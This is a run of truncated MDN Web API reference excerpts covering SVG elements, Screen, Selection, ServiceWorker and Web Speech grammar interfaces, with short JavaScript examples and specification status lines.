<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontelement</text>...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontelement' in that specification.
SVGFontFaceElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svg...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfaceelement' in that specification.
SVGFontFaceFormatElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceformatelement" target="_top"><rect x="1" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alig...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfaceformatelement' in that specification.
SVGFontFaceNameElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfacenameelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-ba...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfacenameelement' in that specification.
SVGFontFaceSrcElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfacesrcelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseli...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfacesrcelement' in that specification.
SVGFontFaceUriElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceurielement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseli...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfontfaceurielement' in that specification.
SVGGeometryElement.pathLength - Web APIs
syntax var pathlength = someelement.pathlength; specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.pathlength' in that specification.
... candidate recommendation initial definition ...
SVGGlyphRefElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgglyphrefelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} pr...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgglyphrefelement' in that specification.
SVGHKernElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svghkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svghkernelement</...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svghkernelement' in that specification.
SVGImageElement.decode - Web APIs
specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation initial definition.
... html living standardthe definition of 'decode()' in that specification.
SVGImageElement.decoding - Web APIs
auto: default mode, which indicates no preference for the decoding mode.
... examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.svg'; specifications specification status comment html living standardthe definition of 'decoding' in that specification.
SVGImageElement.height - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'height' in that specification.
... candidate recommendation initial definition.
SVGImageElement.preserveAspectRatio - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'preserveaspectratio' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'preserveaspectratio' in that specification.
SVGImageElement.width - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'width' in that specification.
... candidate recommendation initial definition.
SVGImageElement.x - Web APIs
WebAPISVGImageElementx
specifications specification status comment scalable vector graphics (svg) 2the definition of 'x' in that specification.
... candidate recommendation initial definition.
SVGImageElement.y - Web APIs
WebAPISVGImageElementy
specifications specification status comment scalable vector graphics (svg) 2the definition of 'y' in that specification.
... candidate recommendation initial definition.
SVGMarkerElement - Web APIs
exceptions: a domexception with code no_modification_allowed_err is raised when the object itself is read only.
... exceptions: a domexception with code no_modification_allowed_err is raised when the object itself is read only.
SVGMissingGlyphElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgmissingglyphelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-base...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmissingglyphelement' in that specification.
SVGPathElement.getPointAtLength() - Web APIs
return value an svgpoint indicating the point at a given distance along the path.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement.gettotallength()' in that specification.
SVGPathElement.getTotalLength() - Web APIs
syntax float someelement.gettotallength(); return value a float indicating the total length of the path in user units.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement.gettotallength()' in that specification.
SVGPreserveAspectRatio - Web APIs
an svgpreserveaspectratio object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... exceptions on setting: a domexception with code no_modification_allowed_err is raised on an attempt to change the value of an attribute on a read only object.
SVGTRefElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgtrefelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtrefelement</text>...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtrefelement' in that specification.
SVGVKernElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgvkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgvkernelement</...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgvkernelement' in that specification.
Screen.availLeft - Web APIs
WebAPIScreenavailLeft
syntax let availleft = window.screen.availleft; example let setx = window.screen.width - window.screen.availleft; let sety = window.screen.height - window.screen.availtop; window.moveto(setx, sety); notes in most cases, this property returns 0.
... if you work with two screens this property, evaluated on the right screen, returns the width of the left one in pixels (thereby indicating the x coordinate of the left edge of the screen on the right).
Screen.availTop - Web APIs
WebAPIScreenavailTop
specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.
... syntax let availtop = window.screen.availtop; example let setx = window.screen.width - window.screen.availleft; let sety = window.screen.height - window.screen.availtop; window.moveto(setx, sety); notes in most cases, this property returns 0.
Screen.height - Web APIs
WebAPIScreenheight
widgets such as taskbars or other special application windows that integrate with the os (e.g., the spinner player minimized to act like an additional toolbar on windows) may reduce the amount of space available to browser windows and other applications.
... specification specification status comment css object model (cssom) view modulethe definition of 'screen.height' in that specification.
Screen.onorientationchange - Web APIs
warning: this is a non-standard deprecated feature which was implemented only in firefox under a different name.
... specifications specification status comment screen orientation apithe definition of 'onorientationchange' in that specification.
Screen.orientation - Web APIs
example var orientation = (screen.orientation || {}).type || screen.mozorientation || screen.msorientation; if (orientation === "landscape-primary") { console.log("that looks good."); } else if (orientation === "landscape-secondary") { console.log("mmmh...
...you should rotate your device to landscape"); } else if (orientation === undefined) { console.log("the orientation api isn't supported in this browser :("); } specifications specification status comment screen orientation apithe definition of 'orientation' in that specification.
Screen.width - Web APIs
WebAPIScreenwidth
when other widgets occupy space that cannot be used by the window object, there is a difference in window.screen.width and window.screen.availwidth.
... specification specification status comment css object model (cssom) view modulethe definition of 'screen.width' in that specification.
Screen - Web APIs
WebAPIScreen
properties screen.availtop specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.
... void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen' in that specification.
ScreenOrientation.lock() - Web APIs
one of the following: "any" "natural" "landscape" "portrait" "portrait-primary" "portrait-secondary" "landscape-primary" "landscape-secondary" return value a promise.
... specifications specification status comment screen orientation apithe definition of 'lock()' in that specification.
ScreenOrientation.onchange - Web APIs
the onchange property of the screenorientation is an event handler fired whenever is the eventhandler called when the screen changes orientation.
...} specifications specification status comment screen orientation apithe definition of 'onchange' in that specification.
ScreenOrientation.type - Web APIs
the type read-only property of the screenorientation interface returns the document's current orientation type, one of "portrait-primary", "portrait-secondary", "landscape-primary", or "landscape-secondary".
... specifications specification status comment screen orientation apithe definition of 'type' in that specification.
ScriptProcessorNode: audioprocess event - Web APIs
bubbles no cancelable no default action none interface audioprocessingevent event handler property scriptprocessornode.onaudioprocess examples scriptnode.addeventlistener('audioprocess', function(audioprocessingevent) { // the input buffer is a song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannel...
...} specifications specification status comment web audio apithe definition of 'audioprocessingevent' in that specification.
ScrollToOptions.left - Web APIs
the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not.
...'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'left' in that specification.
ScrollToOptions.top - Web APIs
the positions to scroll to along the x and y axes), and a checkbox indicating whether they want smooth scrolling enabled or not.
...'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom) view modulethe definition of 'top' in that specification.
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
this can include the following properties, but bear in mind that if you do include an eventinitdict, certain properties must be included (marked below with required): blockeduri: the blockeduri of the securitypolicyviolationevent.
...}); specifications specification status comment content security policy level 3the definition of 'securitypolicyviolationevent' in that specification.
SecurityPolicyViolationEvent.blockedURI - Web APIs
the blockeduri read-only property of the securitypolicyviolationevent interface is a usvstring representing the uri of the resource that was blocked because it violates a policy.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); }); specifications specification status comment content security policy level 3the definition of 'blockeduri' in that specification.
SecurityPolicyViolationEvent.disposition - Web APIs
the disposition read-only property of the securitypolicyviolationevent interface indicates how the violated policy is configured to be treated by the user agent.
...possible values are "enforce" or "report" example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.disposition); }); specifications specification status comment content security policy level 3the definition of 'disposition' in that specification.
Selection.anchorNode - Web APIs
this can be visualized by holding the shift key and pressing the arrow keys on your keyboard.
... syntax node = sel.anchornode specifications specification status comment selection apithe definition of 'selection.anchornode' in that specification.
Selection.collapseToEnd() - Web APIs
if the content of the selection is focused and editable, the caret will blink there.
... specifications specification status comment selection apithe definition of 'selection.collapsetoend()' in that specification.
Selection.collapseToStart() - Web APIs
if the content of the selection is focused and editable, the caret will blink there.
... specifications specification status comment selection apithe definition of 'selection.collapsetostart()' in that specification.
Selection.deleteFromDocument() - Web APIs
once you do, you can remove the selected content by clicking the button below.</p> <button>delete selected text</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', deleteselection); function deleteselection() { let selection = window.getselection(); selection.deletefromdocument(); } result specifications specification status comment ...
...selection apithe definition of 'selection.deletefromdocument()' in that specification.
Selection.focusNode - Web APIs
this can be visualized by holding the shift key and pressing the arrow keys on your keyboard to modify the current selection.
... syntax node = sel.focusnode specifications specification status comment selection apithe definition of 'selection.focusnode' in that specification.
Selection.removeRange() - Web APIs
return value undefined examples /* programmaticaly, more than one range can be selected.
...*/ s = window.getselection(); if(s.rangecount > 1) { for(var i = 1; i < s.rangecount; i++) { s.removerange(s.getrangeat(i)); } } specifications specification status comment selection apithe definition of 'selection.removerange()' in that specification.
Selection.toString() - Web APIs
in javascript, this method is called automatically when a function the selection object is passed to requires a string: alert(window.getselection()) // what is called alert(window.getselection().tostring()) // what is actually being effectively called.
... specifications specification status comment selection apithe definition of 'selection: tostring()' in that specification.
Sensor.start() - Web APIs
WebAPISensorstart
return value undefined specifications specification status comment generic sensor apithe definition of 'start' in that specification.
... candidate recommendation initial definition.
Sensor.stop() - Web APIs
WebAPISensorstop
return value undefined example // tbd specifications specification status comment generic sensor apithe definition of 'stop' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent.SensorErrorEvent() - Web APIs
specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent.error - Web APIs
specifications specification status comment generic sensor apithe definition of 'error' in that specification.
... candidate recommendation initial definition.
SensorErrorEvent - Web APIs
specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification.
... candidate recommendation initial definition.
ServiceWorker.state - Web APIs
it can be one of the following values: installing, installed, activating, activated, or redundant.
...ing) { serviceworker = registration.waiting; document.queryselector('#kind').textcontent = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').textcontent = 'active'; } if (serviceworker) { logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function(e) { logstate(e.target.state); }); } specifications specification status comment service workersthe definition of 'state' in that specification.
ServiceWorkerContainer: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples in this example the service worker get the client's id from a fetch event and then sends it a message using client.postmessage: // in the service worker async function messageclient(clientid) { const client = await clients.get(clientid); client.postmessage('hi client!'); } addeventlistener('fetch', (event) => { messageclient(event.clientid); event.respondwith(() => { // ...
... }); }); the client can receive the message by listening to the message event: // in the page being controlled navigator.serviceworker.addeventlistener('message', (message) => { console.log(message); }); specifications specification status service workersthe definition of 'message' in that specification.
ServiceWorkerGlobalScope.onactivate - Web APIs
}; examples the following snippet shows how you could use an activate event handler to upgrade a cache.
... then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
}; examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item.
... self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); specifications specification status comment unknownthe definition of 'contentdelete' in that specification.
ServiceWorkerGlobalScope.oninstall - Web APIs
}; examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gall...
...ery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.onmessage - Web APIs
(they used to be represented by serviceworkermessageevent objects, which have now been deprecated.) syntax serviceworkerglobalscope.onmessage = function(extendablemessageevent) { ...
... }; example self.addeventlistener('message', function(messageevent) { console.log('handling message event:', messageevent); }) specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.onpush - Web APIs
the data payload of the push message is available in the event object's data property (pushevent.data, which contains a pushmessagedata object.) self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 's...
...imple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'onpush' in that specification.
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
the serviceworkerglobalscope.onpushsubscriptionchange event of the serviceworkerglobalscope interface is fired to indicate a change in push subscription that was triggered outside the application's control, e.g.
...}) example self.addeventlistener('pushsubscriptionchange', function() { // do something, usually resubscribe to push and // send the new subscription details back to the // server via xhr or fetch }); specifications specification status comment push apithe definition of 'onpushsubscriptionchange' in that specification.
ServiceWorkerGlobalScope.onsync - Web APIs
this is triggered when a call to syncmanager.register is made from a service worker client page.
...}) specifications specification web background synchronization ...
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
important: in modern browsers, this property has been deprecated.
... init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any type.
ServiceWorkerMessageEvent.lastEventId - Web APIs
important: in modern browsers, this property has been deprecated.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.lasteventid); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.origin - Web APIs
important: in modern browsers, this property has been deprecated.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.origin); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.ports - Web APIs
important: in modern browsers, this property has been deprecated.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.ports); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.source - Web APIs
important: in modern browsers, this property has been deprecated.
... // set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.source); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerRegistration.active - Web APIs
an active worker controls a serviceworkerclient if the client's url falls within the scope of the registration (the scope option set when serviceworkercontainer.register is first called.) note: this feature is available in web workers.
... specifications specification status comment service workersthe definition of 'serviceworkerregistration.active' in that specification.
ServiceWorkerRegistration.index - Web APIs
syntax var a contentindex object = serviceworkerregistration.index; value a contentindex object examples you can access the property from either your main script or the registered service worker.
... here is an example from the main script: // reference registration const registration = await navigator.serviceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } from the service worker: // service worker script const contentindex = self.registration.index; specifications specification status comment unknownthe definition of 'index' in that specification.
ServiceWorkerRegistration.onupdatefound - Web APIs
the onupdatefound property of the serviceworkerregistration interface is an eventlistener property called whenever an event of type statechange is fired; it is fired any time the serviceworkerregistration.installing property acquires a new service worker.
...}; specifications specification status comment service workersthe definition of 'serviceworkerregistration.onupdatefound' in that specification.
ShadowRoot.delegatesFocus - Web APIs
the delegatesfocus read-only property of the shadowroot interface returns a boolean that indicates whether delegatesfocus was set when the shadow was attached (see element.attachshadow()).
...let hostelem = shadow.delegatesfocus; specifications this feature is not currently in a specification.
SharedWorker.port - Web APIs
WebAPISharedWorkerport
the port property of the sharedworker interface returns a messageport object used to communicate and control the shared worker.
...multiple scripts can then access the worker through a messageport object accessed using the sharedworker.port property — the port is started using its start() method: var myworker = new sharedworker('worker.js'); myworker.port.start(); for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification.
SharedWorkerGlobalScope.name - Web APIs
this is the name that the sharedworker() constructor can pass to get a reference to the sharedworkerglobalscope.
... specifications specification status comment html living standardthe definition of 'name' in that specification.
Slottable: assignedSlot - Web APIs
examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text.
... let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.assignedslot); // logs '<slot name="my-text">' specifications specification status comment domthe definition of 'assignedslot' in that specification.
SourceBuffer.appendBufferAsync() - Web APIs
async function fillsourcebuffer(buffer, msbuffer) { try { while(true) { await msbuffer.appendbufferasync(buffer); } } catch(e) { handleexception(e); } } specifications not currently part of any specification.
... specification status comment media source extensions recommendation initial definition; does not include this method.
SourceBuffer.updating - Web APIs
the updating read-only property of the sourcebuffer interface indicates whether the sourcebuffer is currently being updated — i.e.
... example tbd specifications specification status comment media source extensionsthe definition of 'updating' in that specification.
SpeechGrammar.SpeechGrammar() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var newgrammar = new speechg...
...rammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecognitionlist[1] = newgrammar; // should add the new speechgrammar object to the list specifications specification status comment web speech apithe definition of 'speechgrammar()' in that specification.
SpeechGrammar.src - Web APIs
WebAPISpeechGrammarsrc
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecogniti...
... specifications specification status comment web speech apithe definition of 'src' in that specification.
SpeechGrammar.weight - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecogniti...
... specifications specification status comment web speech apithe definition of 'weight' in that specification.
SpeechGrammar - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecogniti...
... specifications specification status comment web speech apithe definition of 'speechgrammar' in that specification.
SpeechGrammarList.SpeechGrammarList() - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications sp...
...ecification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
SpeechGrammarList.item() - Web APIs
examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var myfirstgrammar = speechr...
... specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechGrammarList - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications sp...
...ecification status comment web speech apithe definition of 'speechgrammarlist()' in that specification.
SpeechRecognition() - Web APIs
var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = fa...
... specifications specification status comment web speech apithe definition of 'speechrecognition()' in that specification.
SpeechRecognition.abort() - Web APIs
